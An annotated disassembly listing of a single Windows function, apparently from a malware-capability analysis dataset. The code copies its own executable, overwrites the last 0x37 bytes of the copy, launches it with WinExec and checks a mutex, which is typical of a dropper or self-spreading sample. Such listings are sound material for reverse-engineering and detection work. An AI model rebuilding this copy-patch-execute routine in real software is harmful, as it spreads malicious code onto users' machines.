Function at 0x420b48
Capabilities:
Copy file
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd84
push ebx
xor eax, eax
mov dword [ebp - 0x27c], eax
mov dword [ebp - 0x21c], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x420eb1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x420ec8
call fcn.0041f68c
push pe_nt_image_headers32
lea eax, [ebp - 0x218]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov eax, dword [0x423068]
lea edx, [ebp - 0x218]
mov ecx, pe_nt_image_headers32
call fcn.0040480c
push 0x104
lea eax, [ebp - 0x118]
push eax
mov eax, dword [0x424718]
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA_1
mov ecx, eax
lea edx, [ebp - 0x118]
lea eax, [ebp - 4]
call fcn.00404694
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.0040463c
lea eax, [ebp - 0x240]
mov edx, dword [0x423100]
mov ecx, 0x20
call fcn.00403310
lea edx, [ebp - 0x240]
lea eax, [ebp - 0x26c]
call fcn.00402f64
lea eax, [ebp - 0x278]
mov edx, dword [0x4231d4]
mov ecx, 0xa
call fcn.00403310
lea edx, [ebp - 0x278]
lea eax, [ebp - 0x26c]
mov cl, 0x2a
call fcn.00402f34
lea edx, [ebp - 0x26c]
lea eax, [ebp - 0x21c]
call fcn.00404800
push dword [ebp - 0x21c]
mov eax, dword [0x423240]
push dword [eax]
push 0x420ee8
mov eax, dword [0x423110]
mov edx, 3
call fcn.0040491c
mov eax, dword [0x423110]
mov eax, dword [eax]
call fcn.00404a54
mov edx, dword [0x423118]
mov dword [edx], eax
xor edx, edx
mov eax, dword [0x42321c]
mov ecx, dword [0x423118]
mov ecx, dword [ecx]
mov cl, byte [ecx + edx]
mov byte [eax], cl
inc edx
inc eax
cmp edx, 0x37
jne 0x420c79
mov eax, dword [0x423068]
push dword [eax]
push 0x420ef4
lea eax, [ebp - 0x27c]
mov edx, dword [0x423060]
mov ecx, 0xc
call fcn.00404694
push dword [ebp - 0x27c]
push 0x420f08
lea eax, [ebp - 8]
mov edx, 4
call fcn.0040491c
mov eax, dword [ebp - 8]
call fcn.0041171c
test al, al
je 0x420dd0
mov eax, 0x420f18
call fcn.0041f68c
mov eax, dword [0x423084]
mov eax, dword [eax]
call fcn.00404a54
push eax
push 0
push 0x100000
call sub.KERNEL32.DLL_OpenMutexA
mov edx, dword [0x423234]
mov dword [edx], eax
mov eax, dword [0x423234]
cmp dword [eax], 0
je 0x420d1b
mov eax, 0x420f3c
call fcn.0041f68c
jmp 0x420e80
mov eax, 0x420f64
call fcn.0041f68c
mov eax, dword [ebp - 8]
call fcn.0041f0e8
push 0
mov eax, dword [ebp - 8]
call fcn.00404a54
mov ebx, eax
push ebx
mov eax, dword [ebp - 0x10]
call fcn.00404a54
push eax
call sub.KERNEL32.DLL_CopyFileA
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA_1
mov ebx, eax
push 2
push 0
push 0xffffffffffffffc9
push ebx
call sub.KERNEL32.DLL_SetFilePointer_1
push 0
lea eax, [ebp - 0x14]
push eax
push 0x37
mov eax, dword [0x42321c]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile_1
push ebx
call sub.KERNEL32.DLL_CloseHandle_1
mov eax, dword [0x423068]
push dword [eax]
push 0x420f90
push dword [ebp - 8]
push 0x420fb0
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.0040491c
push 5
mov eax, dword [ebp - 0xc]
call fcn.00404a54
push eax
call sub.KERNEL32.DLL_WinExec
mov eax, 0x420fbc
call fcn.0041f68c
mov eax, dword [ebp - 8]
call section.UPX1
jmp 0x420e80
mov eax, 0x420fdc
call fcn.0041f68c
mov eax, dword [ebp - 8]
call fcn.0041f0e8
push 0
mov eax, dword [ebp - 8]
call fcn.00404a54
mov ebx, eax
push ebx
mov eax, dword [ebp - 0x10]
call fcn.00404a54
push eax
call sub.KERNEL32.DLL_CopyFileA
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA_1
mov ebx, eax
push 2
push 0
push 0xffffffffffffffc9
push ebx
call sub.KERNEL32.DLL_SetFilePointer_1
push 0
lea eax, [ebp - 0x14]
push eax
push 0x37
mov eax, dword [0x42321c]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile_1
push ebx
call sub.KERNEL32.DLL_CloseHandle_1
mov eax, dword [0x423068]
push dword [eax]
push 0x420f90
push dword [ebp - 8]
push 0x420fb0
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.0040491c
push 5
mov eax, dword [ebp - 0xc]
call fcn.00404a54
push eax
call sub.KERNEL32.DLL_WinExec
mov eax, 0x420ff8
call fcn.0041f68c
mov eax, dword [ebp - 8]
call section.UPX1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x420eb8
lea eax, [ebp - 0x27c]
call fcn.004045a4
lea eax, [ebp - 0x21c]
call fcn.004045a4
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.004045c8
ret